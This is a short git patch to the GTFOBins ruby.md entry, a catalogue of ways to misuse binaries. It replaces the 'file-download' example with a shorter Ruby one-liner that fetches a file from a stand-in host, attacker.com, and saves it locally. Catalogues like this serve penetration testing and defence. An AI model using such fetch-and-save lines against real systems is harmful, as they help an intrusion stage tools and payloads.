From 9047ee345c415136a83d8e8d959151621620b027 Mon Sep 17 00:00:00 2001 From: Emilio Date: Wed, 2 Jan 2019 15:28:13 +0000 Subject: [PATCH] Use shorten ruby file download from #44 --- _gtfobins/ruby.md | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) diff --git a/_gtfobins/ruby.md b/_gtfobins/ruby.md index b018d30..310a30f 100644 --- a/_gtfobins/ruby.md +++ b/_gtfobins/ruby.md @@ -16,11 +16,9 @@ functions: file-download: - description: Fetch a remote file via HTTP GET request. code: | - export RHOST=attacker.com - export RPORT=12345 - export RFILE=/file_to_get + export URL=http://attacker.com/file_to_get export LFILE=file_to_save - ruby -e 'require "net/http"; Net::HTTP.start(ENV["RHOST"], ENV["RPORT"]) { |http| r = http.get(ENV["RFILE"]); open(ENV["LFILE"], "wb") { |file| file.write(r.body) } }' + ruby -e 'require "open-uri"; download = open(ENV["URL"]); IO.copy_stream(download, ENV["LFILE"])' file-write: - code: ruby -e 'File.open("file_to_write", "w+") { |f| f.write("DATA") }' file-read: